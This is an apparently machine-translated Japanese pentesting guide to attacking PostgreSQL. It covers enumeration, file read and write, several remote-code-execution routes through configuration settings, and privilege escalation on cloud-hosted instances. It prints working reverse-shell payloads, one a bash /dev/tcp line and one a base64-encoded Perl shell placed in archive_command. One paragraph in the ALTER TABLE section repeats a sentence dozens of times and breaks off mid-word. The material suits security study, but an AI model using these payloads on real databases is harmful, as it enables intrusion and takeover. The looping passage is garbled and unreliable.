5432,5433 - Pentesting Postgresql
Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:
基本情報
PostgreSQLは、オープンソースのオブジェクトリレーショナルデータベースシステムとして説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能を備えて拡張しています。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。
デフォルトポート: 5432で、このポートがすでに使用されている場合、おそらくpostgresqlは使用されていない次のポート(おそらく5433)を使用するようです。
接続と基本的な列挙
\list
を実行すると、rdsadmin
というデータベースが見つかった場合、AWSのPostgreSQLデータベース内にいることがわかります。
PostgreSQLデータベースを悪用する方法の詳細については、以下をチェックしてください:
pagePostgreSQL injection自動列挙
ポートスキャン
この研究によると、接続試行が失敗すると、dblink
はsqlclient_unable_to_establish_sqlconnection
例外をスローし、エラーの説明が含まれます。これらの詳細の例は以下にリストされています。
ホストがダウンしています
DETAIL: サーバーに接続できませんでした: ホストへのルートがありません ホスト「1.2.3.4」でサーバーがポート5678でTCP/IP接続を受け入れていますか?
ポートが閉じています
ポートが開いています
ポートが開いているかフィルタリングされています
特権の列挙
ロール
ロールの種類 | |
---|---|
rolsuper | ロールにはスーパーユーザー権限があります |
rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
rolcreaterole | ロールは他のロールを作成できます |
rolcreatedb | ロールはデータベースを作成できます |
rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
rolconnlimit | ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。 |
rolpassword | パスワードではなく(常に |
rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細についてはセクション 5.8を参照してください。 |
rolconfig | 実行時構成変数のロール固有のデフォルト |
oid | ロールの ID |
興味深いグループ
もし
pg_execute_server_program
のメンバーであれば、プログラムを 実行 できますもし
pg_read_server_files
のメンバーであれば、ファイルを 読み取る ことができますもし
pg_write_server_files
のメンバーであれば、ファイルを 書き込む ことができます
Postgresでは、ユーザー、グループ、ロール は 同じ です。それは単に、どのように使用するか と ログインを許可するか によります。
テーブル
関数
ファイルシステムのアクション
ディレクトリとファイルの読み取り
このcommitから、定義された**DEFAULT_ROLE_READ_SERVER_FILES
グループ(pg_read_server_files
と呼ばれる)のメンバーやスーパーユーザは、任意のパスでCOPY
**メソッドを使用できます(genfile.c
のconvert_and_check_filename
を確認してください)。
他のPostgres関数を使用してファイルを読み取るかディレクトリをリストすることができます。これらを使用できるのはスーパーユーザーと明示的な権限を持つユーザーだけです:
以下の場所でさらに多くの関数を見つけることができます:https://www.postgresql.org/docs/current/functions-admin.html
簡単なファイル書き込み
スーパーユーザーと**pg_write_server_files
**のメンバーだけがファイルを書き込むためにコピーを使用できます。
COPYは改行文字を処理できないため、ベース64ペイロードを使用していてもワンライナーを送信する必要があります。
このテクニックの非常に重要な制限事項は、copy
はバイナリファイルを書き込むために使用できないことです。
バイナリファイルのアップロード
ただし、大きなバイナリファイルをアップロードするための他のテクニックがあります:
pageBig Binary Files Upload (PostgreSQL)バグバウンティのヒント: Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです!https://go.intigriti.com/hacktricksで参加し、最大**$100,000**のバウンティを獲得しましょう!
ローカルファイル書き込みを介したPostgreSQLテーブルデータの更新
PostgreSQLサーバーファイルを読み書きする必要な権限がある場合、PostgreSQLデータディレクトリ内の関連ファイルノードを上書きすることでサーバー上の任意のテーブルを更新できます。このテクニックについての詳細はこちら here。
必要な手順:
PostgreSQLデータディレクトリを取得
注意: 設定から現在のデータディレクトリパスを取得できない場合は、SELECT version()
クエリを使用して主要なPostgreSQLバージョンをクエリし、パスをブルートフォースしてください。PostgreSQLのUnixインストールでの一般的なデータディレクトリパスは/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
です。一般的なクラスタ名はmain
です。 2. ターゲットテーブルに関連するファイルノードへの相対パスを取得
このクエリはbase/3/1337
のようなものを返すはずです。ディスク上の完全なパスは$DATA_DIRECTORY/base/3/1337
、つまり/var/lib/postgresql/13/main/base/3/1337
になります。 3. lo_*
関数を使用してファイルノードをダウンロード
ターゲットテーブルに関連付けられたデータ型を取得
PostgreSQL Filenode Editorを使用して、ファイルノードを編集し、すべての
rol*
ブールフラグを1に設定して完全な権限を付与します。
(オプション) 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリア
PostgreSQLで更新されたテーブル値が表示されるはずです。
pg_authid
テーブルを編集することでスーパーアドミンにもなれます。次のセクションを参照してください here。
RCE
プログラムへのRCE
バージョン9.3以降、スーパーユーザーおよび**pg_execute_server_program
**グループのメンバーだけがRCEにCOPYを使用できます(情報漏洩の例:
例を実行するには:
またはmetasploitからmulti/postgres/postgres_copy_from_program_cmd_exec
モジュールを使用します。
この脆弱性に関する詳細はこちらをご覧ください。CVE-2019-9193として報告されましたが、Postgesはこれを機能として修正しないことを宣言しました。
PostgreSQL言語を使用したRCE
pageRCE with PostgreSQL LanguagesPostgreSQL拡張機能を使用したRCE
前の投稿からバイナリファイルのアップロード方法を学んだ後、PostgreSQL拡張機能をアップロードして読み込むことができます。
pageRCE with PostgreSQL ExtensionsPostgreSQL構成ファイルRCE
次のRCEベクトルは、すべての手順をネストされたSELECTステートメントを介して実行できるため、制約されたSQLiコンテキストで特に有用です
PostgreSQLの構成ファイルはpostgresユーザによって書き込み可能であり、これはデータベースを実行しているユーザであるため、スーパーユーザとしてファイルをファイルシステムに書き込むことができ、したがってこのファイルを上書きすることができます。
ssl_passphrase_commandを使用したRCE
このテクニックに関する詳細はこちらをご覧ください。
構成ファイルにはRCEにつながる興味深い属性がいくつかあります:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
データベースの秘密鍵へのパスssl_passphrase_command = ''
もし秘密ファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。ssl_passphrase_command_supports_reload = off
もしこの属性がonの場合、キーがパスワードで保護されている場合に実行されるコマンドは、pg_reload_conf()
が実行されたときに実行されます。
その後、攻撃者は次の手順を踏む必要があります:
サーバーから秘密鍵をダンプ
ダウンロードした秘密鍵を暗号化:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
上書き
現在のPostgreSQLの構成をダンプ
上記の属性構成で構成を上書きする:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
を実行
これをテストしてみたところ、秘密鍵ファイルが権限640である場合にのみ機能し、rootが所有しており、グループssl-certまたはpostgres(つまりpostgresユーザが読み取れる)である必要があり、_ /var/lib/postgresql/12/main_に配置されていることがわかりました。
archive_commandを使用したRCE
この構成とWALに関する詳細については、こちらをご覧ください。
構成ファイルの別の属性であるarchive_command
は悪用可能です。
これを機能させるには、archive_mode
設定が'on'
または'always'
である必要があります。その場合、archive_command
のコマンドを上書きしてWAL(Write-Ahead Logging)操作を介して実行することができます。
一般的な手順は次のとおりです:
アーカイブモードが有効かどうかを確認:
SELECT current_setting('archive_mode')
archive_command
をペイロードで上書きします。たとえば、リバースシェル:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
構成を再読み込み:
SELECT pg_reload_conf()
WAL操作を実行し、アーカイブコマンドを呼び出します: 一部のPostgresバージョンでは
SELECT pg_switch_wal()
またはSELECT pg_switch_xlog()
を使用します
preloadライブラリを使用したRCE
このテクニックに関する詳細はこちらをご覧ください。
この攻撃ベクトルは次の構成変数を利用します:
session_preload_libraries
-- PostgreSQLサーバがクライアント接続時に読み込むライブラリ。dynamic_library_path
-- PostgreSQLサーバがライブラリを検索するディレクトリのリスト。
dynamic_library_path
の値を、データベースを実行しているpostgres
ユーザが書き込み可能なディレクトリ(たとえば/tmp/
ディレクトリ)に設定し、そこに悪意のある.so
オブジェクトをアップロードします。次に、新しくアップロードしたライブラリをsession_preload_libraries
変数に含めることで、PostgreSQLサーバに新しくアップロードしたライブラリを読み込ませます。
攻撃手順は次のとおりです:
元の
postgresql.conf
をダウンロードdynamic_library_path
値に/tmp/
ディレクトリを含める。例:dynamic_library_path = '/tmp:$libdir'
session_preload_libraries
値に悪意のあるライブラリ名を含める。例:session_preload_libraries = 'payload.so'
SELECT version()
クエリを使用して主要なPostgreSQLバージョンを確認正しいPostgreSQL devパッケージを使用して悪意のあるライブラリコードをコンパイルします。サンプルコード:
コードのコンパイル:
ステップ2-3で作成した悪意のある
postgresql.conf
をアップロードし、元のファイルを上書きしますステップ5で作成した
payload.so
を/tmp
ディレクトリにアップロードしますサーバー構成を再読み込みするには、サーバーを再起動するか
SELECT pg_reload_conf()
クエリを実行します次回のDB接続時にリバースシェル接続を受け取ります。
Postgres Privesc
CREATEROLE Privesc
権限付与
ドキュメントによると: CREATEROLE
権限を持つロールは、スーパーユーザーでない任意のロールのメンバーシップを付与または取り消すことができます。
したがって、CREATEROLE
権限があれば、他のロールへのアクセス権を自分自身に付与できます(スーパーユーザーでない場合)。これにより、ファイルの読み書きやコマンドの実行が可能になります。
パスワードの変更
このロールを持つユーザーは、他の非スーパーユーザーのパスワードも変更できます。
SUPERUSERへの昇格
ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできることが一般的です。したがって、コードを実行する権限を取得したら、これらの権限を悪用して**SUPERUSER
**ロールを取得できます。
これは通常、pg_hba.conf
ファイル内の次の行のために可能です:
ALTER TABLE権限昇格
この解説では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで権限昇格が可能だった方法が説明されています。
別のユーザーをテーブルの所有者にするという試みはエラーが発生して阻止されるべきですが、どうやらGCPではスーパーユーザーでないpostgresユーザーにそのオプションが与えられていたようです:
この考えをインデックス関数を持つテーブルでINSERT/UPDATE/ANALYZEコマンドが実行されると、関数がコマンドの一部として呼び出されるという事実と結びつけると、テーブルの所有者権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つ**ス
Exploitation
新しいテーブルを作成します。
テーブルに関連性のないコンテンツを挿入して、インデックス機能にデータを提供します。
悪意のあるインデックス機能を開発し、コード実行ペイロードを含め、不正なコマンドを実行できるようにします。
テーブルの所有者を「cloudsqladmin」に変更します。これは、Cloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。
テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。したがって、悪意のあるインデックス機能は「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。
PostgreSQLでは、このフローは次のようになります:
その後、shell_commands_results
テーブルには実行されたコードの出力が含まれます:
ローカルログイン
一部の設定ミスのあるPostgreSQLインスタンスでは、dblink
関数を使用して、127.0.0.1からの任意のローカルユーザーのログインが許可される場合があります。
前のクエリが機能するためには、dblink
関数が存在する必要があります。存在しない場合は、次のように作成してみることができます。
もし特権を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
次のコマンドでこの関数が存在するかどうかを確認できます:
セキュリティデフィナーで定義されたカスタム関数
この解説では、IBMが提供するPostgresインスタンス内で、SECURITY DEFINERフラグを持つこの関数を見つけたため、ペンテスターは権限昇格に成功しました。
ドキュメントで説明されているように、SECURITY DEFINERが設定された関数は、所有者の権限で実行されます。したがって、関数がSQLインジェクションに対して脆弱であるか、攻撃者によって制御されるパラメータで特権操作を行っている場合、Postgres内で権限昇格が悪用される可能性があります。
前述のコードの4行目で、関数にSECURITY DEFINERフラグがあることがわかります。
そしてコマンドを実行してください:
PL/pgSQLを使用したパスワードブルートフォース
PL/pgSQLはSQLよりも大幅に手続き型制御が向上した完全な機能を備えたプログラミング言語です。これにより、ループや他の制御構造を使用してプログラムロジックを強化できます。さらに、SQLステートメントやトリガーは、PL/pgSQL言語を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。 この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。
pagePL/pgSQL Password Bruteforce内部のPostgreSQLテーブルを上書きして権限昇格
次の権限昇格ベクトルは、制約されたSQLiコンテキストで特に有用であり、すべての手順をネストされたSELECTステートメントを介して実行できます
PostgreSQLサーバーファイルを読み書きできる場合、内部のpg_authid
テーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで、スーパーユーザーになることができます。
このテクニックについて詳しくはこちらを参照してください。
攻撃手順は以下の通りです:
PostgreSQLデータディレクトリを取得する
pg_authid
テーブルに関連付けられたファイルノードへの相対パスを取得するlo_*
関数を介してファイルノードをダウンロードするpg_authid
テーブルに関連付けられたデータ型を取得するPostgreSQL Filenode Editorを使用して、
pg_authid
テーブルのファイルノードを編集し、すべてのrol*
ブールフラグを1に設定して完全な権限を付与するlo_*
関数を介して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする(オプション)高コストなSQLクエリを実行してインメモリテーブルキャッシュをクリアする
これで完全なスーパーアドミンの権限を持つはずです。
POST
ロギング
postgresql.conf ファイルの中で、以下を変更して PostgreSQL ログを有効にできます:
その後、サービスを再起動してください。
pgadmin
pgadmin は、PostgreSQLの管理および開発プラットフォームです。 pgadmin4.db ファイルの中にパスワードが見つかります。 スクリプト内の decrypt 関数を使用して、それらを復号化することができます: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
PostgreSQLにおけるクライアント認証は、pg_hba.confと呼ばれる構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定する一連のレコードが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
pg_hba.confで利用可能なパスワードベースの認証方法は、md5、crypt、およびpasswordです。これらの方法は、パスワードの送信方法で異なります:MD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドは、pg_authidで暗号化されたパスワードとは使用できないことに注意する必要があります。
Last updated